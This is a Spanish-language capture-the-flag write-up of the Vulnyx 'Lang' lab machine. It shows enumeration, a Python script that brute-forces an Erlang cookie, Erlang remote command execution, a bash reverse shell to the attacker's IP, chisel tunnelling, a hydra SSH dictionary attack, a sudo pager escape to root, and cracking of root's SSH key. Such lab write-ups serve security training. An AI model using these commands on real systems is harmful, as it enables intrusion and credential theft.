Table of Contents
Vulnyx: Lang Writeup
Welcome to my detailed writeup of the hard difficulty machine “Lang” on Vulnyx. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1rustscan -a 192.168.2.7 --ulimit 5000 -g
2192.168.2.7 -> [22,80,4369,8080,39251]
1nmap -p22,80,4369,8080,39251 -sCV 192.168.2.7 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-27 14:35 CET
3Stats: 0:01:14 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
4Service scan Timing: About 80.00% done; ETC: 14:36 (0:00:19 remaining)
5Nmap scan report for 192.168.2.7
6Host is up (0.00048s latency).
7
8PORT STATE SERVICE VERSION
922/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
10| ssh-hostkey:
11| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
12| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
13|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
1480/tcp open http Apache httpd 2.4.61 ((Debian))
15|_http-server-header: Apache/2.4.61 (Debian)
16|_http-title: Site doesn't have a title (text/html).
174369/tcp open epmd Erlang Port Mapper Daemon
18| epmd-info:
19| epmd_port: 4369
20| nodes:
21|_ n0d3: 39251
228080/tcp open http Apache httpd 2.4.61 ((Debian))
23|_http-open-proxy: Proxy might be redirecting requests
24|_http-title: Site doesn't have a title (text/html).
25|_http-server-header: Apache/2.4.61 (Debian)
2639251/tcp open unknown
27Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
28
29Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
30Nmap done: 1 IP address (1 host up) scanned in 141.50 seconds
UDP Enumeration
1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 192.168.2.7 -oN allPorts.UDP
2[sudo] password for kali:
3Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-27 14:36 CET
4Nmap scan report for 192.168.2.7
5Host is up (0.00033s latency).
6Not shown: 1493 open|filtered udp ports (no-response)
7PORT STATE SERVICE
8161/udp open snmp
918676/udp closed unknown
1020791/udp closed unknown
1121847/udp closed netspeak-cs
1222124/udp closed unknown
1322611/udp closed unknown
1449211/udp closed unknown
15MAC Address: 08:00:27:5E:FB:BB (Oracle VirtualBox virtual NIC)
16
17Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds
Del escaneo inicial vemos un par de cosas interesantes.
Primero, se está usando el puerto 4369 y hace referencia a un servicio llamado Erlang Port Mapper Daemon
, nos indica que en el puerto 39251
se encuentra un nodo y vemos que se puerto también está abierto.
Segundo, vemos que por UDP está abierto el puerto 161, correspondiente al servicio SNMP.
HTTP Enumeration
Vamos a empezar de “menos a mas”, whatweb
no nos reporta nada interesante.
1whatweb http://192.168.2.7
2http://192.168.2.7 [200 OK] Apache[2.4.61], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.61 (Debian)], IP[192.168.2.7]
Esta no es la típica página de que Apache funciona, pero bueno…
Con feroxbuster
encontramos un par de recursos interesantes.
1feroxbuster -u http://192.168.2.7/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.10.3
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://192.168.2.7/
9 🚀 Threads │ 100
10 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌 Status Codes │ All Status Codes!
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.10.3
14 💉 Config File │ /etc/feroxbuster/ferox-config.toml
15 🔎 Extract Links │ true
16 🏁 HTTP methods │ [GET]
17 🔃 Recursion Depth │ 1
18 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
19───────────────────────────┴──────────────────────
20 🏁 Press [ENTER] to use the Scan Management Menu™
21──────────────────────────────────────────────────
22404 GET 9l 31w 273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
23403 GET 9l 28w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
24200 GET 7l 28w 186c http://192.168.2.7/
25301 GET 9l 28w 308c http://192.168.2.7/api => http://192.168.2.7/api/
26301 GET 9l 28w 315c http://192.168.2.7/javascript => http://192.168.2.7/javascript/
Seguimos fuzzeando y vemos que la API tiene dos versiones.
1feroxbuster -u http://192.168.2.7/api -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.10.3
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://192.168.2.7/api
9 🚀 Threads │ 100
10 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌 Status Codes │ All Status Codes!
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.10.3
14 💉 Config File │ /etc/feroxbuster/ferox-config.toml
15 🔎 Extract Links │ true
16 🏁 HTTP methods │ [GET]
17 🔃 Recursion Depth │ 1
18 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
19───────────────────────────┴──────────────────────
20 🏁 Press [ENTER] to use the Scan Management Menu™
21──────────────────────────────────────────────────
22403 GET 9l 28w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
23404 GET 9l 31w 273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
24301 GET 9l 28w 308c http://192.168.2.7/api => http://192.168.2.7/api/
25301 GET 9l 28w 311c http://192.168.2.7/api/v2 => http://192.168.2.7/api/v2/
26301 GET 9l 28w 311c http://192.168.2.7/api/v1 => http://192.168.2.7/api/v1/
Intenté buscar un swagger.json
por si se estaba utilizando por detrás pero no encontré este recurso.
Enumerating SNMP
Vamos a enumerar el servicio SNMP antes de pasar a la acción con erlang.
Intenté probar con la típica community string public
pero vemos que no es válida.
1snmpbulkwalk -c public -v2c 192.168.2.7
2Timeout: No Response from 192.168.2.7
Vamos a sacar la mítica onesixtyone
en acción para hacer fuerza bruta e intentar descubrir la community string.
Vamos a utilizar la lista common-snmp-community-strings-onesixtyone.txt
de SecLists
y encontramos una community string.
1onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt 192.168.2.7
2Scanning 1 hosts, 120 communities
3192.168.2.7 [manager] Linux lang 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
Ahora con snmpbulkwalk
podemos enumerar todos los datos a los que podemos acceder con esta community string.
1snmpbulkwalk -c manager -v2c 192.168.2.7
Recorriendo el archivo encontramos algo interesante.
-sname n0d3@megalang
: Define el nombre corto (sname
) del nodo Erlang comon0d3@megalang
. Esto se usa para la comunicación entre nodos Erlang.-noinput
: Impide que el nodo espere entrada del usuario.-eval "timer:sleep(infinity)"
: Ejecuta la expresión Erlangtimer:sleep(infinity)
, que hace que el programa se quede “dormido” indefinidamente sin consumir CPU.
El caso, hemos encontrado un dominio llamado megalang
, vamos a agregarlo al /etc/hosts
Erlang Port Mapper Daemon Enumeration
Existe este artículo en HackTricks que nos revela una cosa bastante interesante.
Podemos ganar ejecución remota de comandos si conseguimos la cookie de autenticación. Esta cookie se genera de forma automática pero también puede ser modificada por el usuario y poner una cookie mas fácil.
Vamos a crear un script en python para hacer fuerza bruta, primero vamos a instalar erlang
en nuestro sistema.
1sudo apt-get install erlang -y
Authentication Cookie Bruteforce Script
Una vez instalado, podemos utilizar este script simple en python que he creado para probar un diccionario de contraseñas.
1#!/usr/bin/python3
2import os
3import sys
4
5NODE_NAME = "n0d3"
6DOMAIN_NAME = "megalang"
7DICTIONARY = "/usr/share/wordlists/rockyou.txt"
8
9# Check if the cookie is valid
10def check_cookie(cookie):
11 cmd = "erl_call -c <COOKIE> -sname <NODE_NAME> -n <NODE_NAME>@<DOMAIN_NAME> -a 'erlang node []' > /dev/null 2>/dev/null".replace("<COOKIE>", cookie).replace("<NODE_NAME>", NODE_NAME).replace("<DOMAIN_NAME>", DOMAIN_NAME)
12 if os.system(cmd) == 0:
13 return True
14 return False
15
16def brute():
17 found = False
18 with open(DICTIONARY, "r") as file:
19 for line in file:
20 password = line.strip()
21 if check_cookie(password):
22 print("[+] Authentication Cookie found: %s" % password)
23 found = True
24 sys.exit(0)
25 if Found != True:
26 print("[-] Authentication Cookie not found")
27
28if __name__ == "__main__":
29 brute()
El comando que se ejecuta nos devuelve un código de estado 0
si el comando es exitoso, en este caso nos devuelve el nombre del nodo con su dominio.
En caso contrario, nos devuelve un código de estado 1
y nos devolvería un error. Con esta simple comprobación podemos hacer el script para hacer fuerza bruta.
Y tenemos suerte y encontramos la cookie de autenticación a este nodo.
1python3 brute.py
2[+] Authentication Cookie found: poohbear
Erlang Cookie RCE
Y siguiendo el artículo en HackTricks conseguimos ejecución remota de comandos como el usuario killer
1erl -setcookie poohbear -remsh n0d3@megalang
2Erlang/OTP 25 [erts-13.2.2.9] [source] [64-bit] [smp:32:4] [ds:32:4:10] [async-threads:1] [jit:ns]
3
4Eshell V11.1.8 (abort with ^G)
5(n0d3@megalang)1> os:cmd("id").
6"uid=1000(killer) gid=1000(killer) grupos=1000(killer)\n"
Entonces ahora podemos ponernos en escucha con pwncat-cs
por el puerto 443.
1pwncat-cs -lp 443
Y enviarnos una reverse shell utilizando el método anterior para ejecutar comandos.
1erl -setcookie poohbear -remsh n0d3@megalang
2Erlang/OTP 25 [erts-13.2.2.9] [source] [64-bit] [smp:32:4] [ds:32:4:10] [async-threads:1] [jit:ns]
3
4Eshell V11.1.8 (abort with ^G)
5(n0d3@megalang)1> os:cmd("bash -c 'bash -i >& /dev/tcp/192.168.2.3/443 0>&1'")
Y ganamos una consola interactiva en el nodo que es la máquina anfitriona, es decir, no estamos en ningún contenedor ni nada.
1(remote) killer@lang:/home/killer$ id
2uid=1000(killer) gid=1000(killer) grupos=1000(killer)
3(remote) killer@lang:/home/killer$ ip a
41: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
5 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
6 inet 127.0.0.1/8 scope host lo
7 valid_lft forever preferred_lft forever
8 inet6 ::1/128 scope host
9 valid_lft forever preferred_lft forever
102: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
11 link/ether 08:00:27:5e:fb:bb brd ff:ff:ff:ff:ff:ff
12 inet 192.168.2.7/24 brd 192.168.2.255 scope global dynamic enp0s3
13 valid_lft 550sec preferred_lft 550sec
14 inet6 fe80::a00:27ff:fe5e:fbbb/64 scope link
15 valid_lft forever preferred_lft forever
Podemos leer la flag de usuario.
1(remote) killer@lang:/home/killer$ cat user.txt
219d0cc1d2dc911e8d...
User Pivoting
Encontramos otro usuario llamado satanas
a parte de nuestro usuario actual.
1(remote) killer@lang:/home/killer$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3killer:x:1000:1000:killer:/home/killer:/bin/bash
4satanas:x:1001:1001:satanas:/home/satanas:/bin/bash
No tenemos la credencial del usuario killer
para ejecutar un sudo -l
.
Tampoco encontramos binarios con permisos de SUID.
1(remote) killer@lang:/etc/apache2/sites-available$ find / -type f -user killer 2>/dev/null | grep -v "proc"
2/home/killer/.selected_editor
3/home/killer/.profile
4/home/killer/.bash_logout
5/home/killer/user.txt
6/home/killer/.erlang.cookie
7/home/killer/.bashrc
8/var/mail/killer
Encontramos un correo para este usuario pero no tiene nada interesante.
1(remote) killer@lang:/etc/apache2/sites-available$ cat /var/mail/killer
2From MAILER-DAEMON Tue Aug 20 18:52:22 2024
3Return-path: <>
4Envelope-to: killer@chain
5Delivery-date: Tue, 20 Aug 2024 18:52:22 +0200
6Received: from Debian-exim by lang with local (Exim 4.94.2)
7 id 1sgS5m-0000Fm-NH
8 for killer@chain; Tue, 20 Aug 2024 18:52:22 +0200
9X-Failed-Recipients: user@chain
10Auto-Submitted: auto-replied
11From: Mail Delivery System <Mailer-Daemon@chain>
12To: killer@chain
13References: <E1sgS5m-0000Fj-Kk@lang>
14Content-Type: multipart/report; report-type=delivery-status; boundary=1724172742-eximdsn-174919641
15MIME-Version: 1.0
16Subject: Mail delivery failed: returning message to sender
17Message-Id: <E1sgS5m-0000Fm-NH@lang>
18Date: Tue, 20 Aug 2024 18:52:22 +0200
19
20--1724172742-eximdsn-174919641
21Content-type: text/plain; charset=us-ascii
22
23This message was created automatically by mail delivery software.
24
25A message that you sent could not be delivered to one or more of its
26recipients. This is a permanent error. The following address(es) failed:
27
28 user@chain
29 (generated from root@chain)
30 Unrouteable address
31
32--1724172742-eximdsn-174919641
33Content-type: message/delivery-status
34
35Reporting-MTA: dns; lang
36
37Action: failed
38Final-Recipient: rfc822;root@chain
39Status: 5.0.0
40
41--1724172742-eximdsn-174919641
42Content-type: message/rfc822
43
44Return-path: <killer@chain>
45Received: from killer by lang with local (Exim 4.94.2)
46 (envelope-from <killer@chain>)
47 id 1sgS5m-0000Fj-Kk
48 for root@chain; Tue, 20 Aug 2024 18:52:22 +0200
49To: root@chain
50Auto-Submitted: auto-generated
51Subject: *** SECURITY information for lang ***
52From: killer <killer@chain>
53Message-Id: <E1sgS5m-0000Fj-Kk@lang>
54Date: Tue, 20 Aug 2024 18:52:22 +0200
55
56lang : Aug 20 16:52:22 : killer : a password is required ; TTY=pts/0 ; PWD=/home/killer ; USER=root ; COMMAND=list
57
58
59--1724172742-eximdsn-174919641--
Vemos dos puertos interesantes, el 25 y el 222.
1(remote) killer@lang:/etc/apache2/sites-available$ ss -tulnp
2Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
3udp UNCONN 0 0 0.0.0.0:161 0.0.0.0:*
4udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
5tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
6tcp LISTEN 0 20 127.0.0.1:25 0.0.0.0:*
7tcp LISTEN 0 128 127.0.0.1:222 0.0.0.0:*
8tcp LISTEN 0 128 0.0.0.0:39251 0.0.0.0:* users:(("beam.smp",pid=425,fd=17))
9tcp LISTEN 0 20 [::1]:25 [::]:*
10tcp LISTEN 0 511 *:8080 *:*
11tcp LISTEN 0 511 *:80 *:*
12tcp LISTEN 0 4096 *:4369 *:*
Viendo que hemos visto un correo, suponemos que el 25/TCP es el SMTP, pero no tenemos ni idea de que es el puerto 222.
Intentando conectarme con netcat
vemos una cabecera de SSH.
1(remote) killer@lang:/etc/apache2/sites-available$ nc 127.0.0.1 222
2SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3
Así que ya sabemos que este servicio pertenece al SSH, un poco extraño ya que ya tenemos el puerto 22/TCP que pertenece al SSH y además la misma versión.
Revisando los archivos de configuración de SSH en /etc/ssh
podemos ver el fichero sshd_config
que contiene el archivo de configuración del servidor SSH.
Y vemos esta parte del archivo de configuración
1Match LocalPort 22
2 #DenyUsers satanas killer
3 PasswordAuthentication no
4
5Match LocalPort 222
6 AllowUsers satanas
Por el puerto 22 no podemos iniciar sesión con contraseña, y en el puerto 222 si que podemos utilizar esta autenticación, y además solo satanas
puede conectarse en este puerto.
Reverse Port Forwarding + SSH Dictionary Attack
Como no he encontrado ninguna contraseña y ya me he hecho 4 máquinas de esta plataforma y veo que les gusta mucho la fuerza bruta, vamos con chisel
a hacer un Port-Forwarding e intentar hacer un ataque por diccionario con hydra
a este puerto.
Voy a hacer uso de la función upload
de pwncat-cs
para subir el binario de chisel
1(remote) killer@lang:/tmp$
2(local) pwncat$ upload /usr/share/chisel
3./chisel ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 8.7/8.7 MB • 2.3 MB/s • 0:00:00
4[15:49:54] uploaded 8.65MiB in 4.11 seconds upload.py:76
5(local) pwncat$
6(remote) killer@lang:/tmp$ ls -la
7total 8492
8drwxrwxrwt 10 root root 4096 nov 27 15:49 .
9drwxr-xr-x 18 root root 4096 ago 20 17:47 ..
10-rw-r--r-- 1 killer killer 8654848 nov 27 15:49 chisel
En nuestra máquina de atacante vamos a estar en escucha por el puerto 1234.
1/usr/share/chisel server -p 1234 --reverse
22024/11/27 15:50:51 server: Reverse tunnelling enabled
32024/11/27 15:50:51 server: Fingerprint wsaui2NmZMK41w9t2VdZf8XFwyAsJI6dK11orR9LmZw=
42024/11/27 15:50:51 server: Listening on http://0.0.0.0:1234
Ahora en la máquina víctima nos conectamos a nuestra máquina de atacante y nos compartimos el puerto 222
de la máquina víctima a nuestro puerto local 222
1(remote) killer@lang:/tmp$ ./chisel client 192.168.2.3:1234 R:222:127.0.0.1:222
22024/11/27 15:51:29 client: Connecting to ws://192.168.2.3:1234
32024/11/27 15:51:29 client: Connected (Latency 685.787µs)
Entonces ahora significa, que nuestro puerto local 222
es el puerto 222
de la máquina víctima, podemos comprobarlo rápidamente con nmap
1nmap -p222 127.0.0.1 -sCV
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-27 15:52 CET
3Nmap scan report for localhost (127.0.0.1)
4Host is up (0.00013s latency).
5
6PORT STATE SERVICE VERSION
7222/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
8| ssh-hostkey:
9| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
10| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
11|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
12Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
13
14Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
15Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
Ahora con hydra
podernos hacer un ataque con diccionario a este puerto utilizando el nombre de usuario satanas
y al rato conseguimos una credencial.
1hydra -l satanas -P /usr/share/wordlists/rockyou.txt 127.0.0.1 ssh -t 64 -s 222 -V -I
2.....
3[ATTEMPT] target 127.0.0.1 - login "satanas" - pass "buttercup" - 703 of 14344436 [child 11] (0/37)
4[ATTEMPT] target 127.0.0.1 - login "satanas" - pass "nichole" - 704 of 14344436 [child 39] (0/37)
5[ATTEMPT] target 127.0.0.1 - login "satanas" - pass "bambam" - 705 of 14344436 [child 33] (0/37)
6[ATTEMPT] target 127.0.0.1 - login "satanas" - pass "nothing" - 706 of 14344436 [child 40] (0/37)
7[ATTEMPT] target 127.0.0.1 - login "satanas" - pass "glitter" - 707 of 14344436 [child 41] (0/37)
8[222][ssh] host: 127.0.0.1 login: satanas password: nothing
En la máquina víctima no tenemos permiso para ejecutar el binario su
. Así que tenemos que acceder mediante el SSH del puerto compartido.
1(remote) killer@lang:/tmp$ su satanas
2bash: /usr/bin/su: Permiso denegado
1sshpass -p 'nothing' ssh satanas@127.0.0.1 -p 222
2satanas@lang:~$ id
3uid=1001(satanas) gid=1001(satanas) grupos=1001(satanas)
Privilege Escalation
Abusing sudo topal
binary + pager
Vemos que podemos ejecutar como root
y sin necesidad de contraseña un binario llamado topal
1satanas@lang:~$ sudo -l
2Matching Defaults entries for satanas on lang:
3 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
4
5User satanas may run the following commands on lang:
6 (root) NOPASSWD: /usr/bin/topal
propósito principal es facilitar la encriptación, desencriptación, firma y verificación de mensajes de correo electrónico usando PGP (Pretty Good Privacy) y S/MIME.
Entonces, si encripta y desencripta mensajes de correo, debe de existir alguna función para poder leer archivos.
Podemos ejecutar este comando donde test.txt
es un archivo que he creado en forma de prueba.
1topal /tmp/test.txt
Dándole a todas las teclas (a veces es efectivo), vemos que la v
nos permite visualizar el contenido del fichero.
Y además se utiliza el pager por defecto de linux (less
), esto significa que si ahora, escribimos la secuencia !COMANDO
, podemos ejecutar un comando como el usuario que está ejecutando el binario de topal
, en este caso satanas
Y vemos que podemos ejecutar el comando.
Ahora, vamos a ejecutar topal
como root
y a hacer lo mismo, pero esta vez ejecutando una bash
.
1sudo topal /tmp/test.txt
Le damos a la v
y lanzamos el siguiente comando a través del pager.
Y nos convertimos en root
y podemos leer su flag, que en esta máquina se encuentra en /root/r00000000t.txt
por alguna razón
1root@lang:/tmp# id
2uid=0(root) gid=0(root) grupos=0(root)
3root@lang:~# ls -la
4total 40
5drwx------ 6 root root 4096 ago 20 19:01 .
6drwxr-xr-x 18 root root 4096 ago 20 17:47 ..
7lrwxrwxrwx 1 root root 9 abr 23 2023 .bash_history -> /dev/null
8-rw------- 1 root root 3526 ene 15 2023 .bashrc
9drwxr-xr-x 3 root root 4096 ago 1 2023 .cache
10drw------- 3 root root 4096 ene 15 2023 .local
11-rw------- 1 root root 161 jul 9 2019 .profile
12-r-------- 1 root root 33 ago 20 19:01 r00000000t.txt
13-rw-r--r-- 1 root root 66 ago 20 17:49 .selected_editor
14drwx------ 2 root root 4096 ago 20 17:57 .ssh
15drwx------ 2 root root 4096 nov 27 16:28 .topal
16root@lang:~# cat r00000000t.txt
17a91fea27fdcbf80...
Exfiltrating root
private key + Cracking the passphrase
También podríamos haber extraído la clave privada de root
situada en /root/.ssh/id_rsa
.
1sudo topal /root/.ssh/id_rsa
Le damos a la tecla v
y nos la copiamos.
Le asignamos los permisos necesarios a la clave privada.
1chmod 600 id_rsa.root
El problema es que esta clave privada está protegida por passphrase, así que con ssh2john
podemos extraer el hash.
1ssh2john id_rsa.root > hash
Y con john
podemos intentar crackearlo.
1john -w=/usr/share/wordlists/rockyou.txt hash
2Using default input encoding: UTF-8
3Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
4Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
5Cost 2 (iteration count) is 16 for all loaded hashes
6Will run 4 OpenMP threads
7Press 'q' or Ctrl-C to abort, almost any other key for status
8killer1 (id_rsa.root)
91g 0:00:00:48 DONE (2024-11-27 16:34) 0.02082g/s 36.65p/s 36.65c/s 36.65C/s 2hot4u..welcome1
10Use the "--show" option to display all of the cracked passwords reliably
11Session completed.
Teniendo la passphrase de la clave privada y como por el puerto 22/TCP que correspondía al SSH podemos iniciar sesión como cualquier usuario pero tiene que ser utilizando una clave privada, podemos iniciar sesión como root
1ssh root@192.168.2.7 -i id_rsa.root
2Enter passphrase for key 'id_rsa.root':
3root@lang:~# id
4uid=0(root) gid=0(root) grupos=0(root)
¡Y ya estaría!
Happy Hacking! 🚀
#Vulnyx #Lang #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #HTTP Enumeration, #SNMP Enumeration, #Erlang Port Mapper Daemon Enumeration #Authentication Cookie Bruteforce, #Python Scripting, #Scripting, #Erlang Cookie RCE, #Reverse Port Forwarding #SSH Bruteforce #Abusing Topal #Abusing Sudo #Abusing Pager #Exfiltrating Root Private Key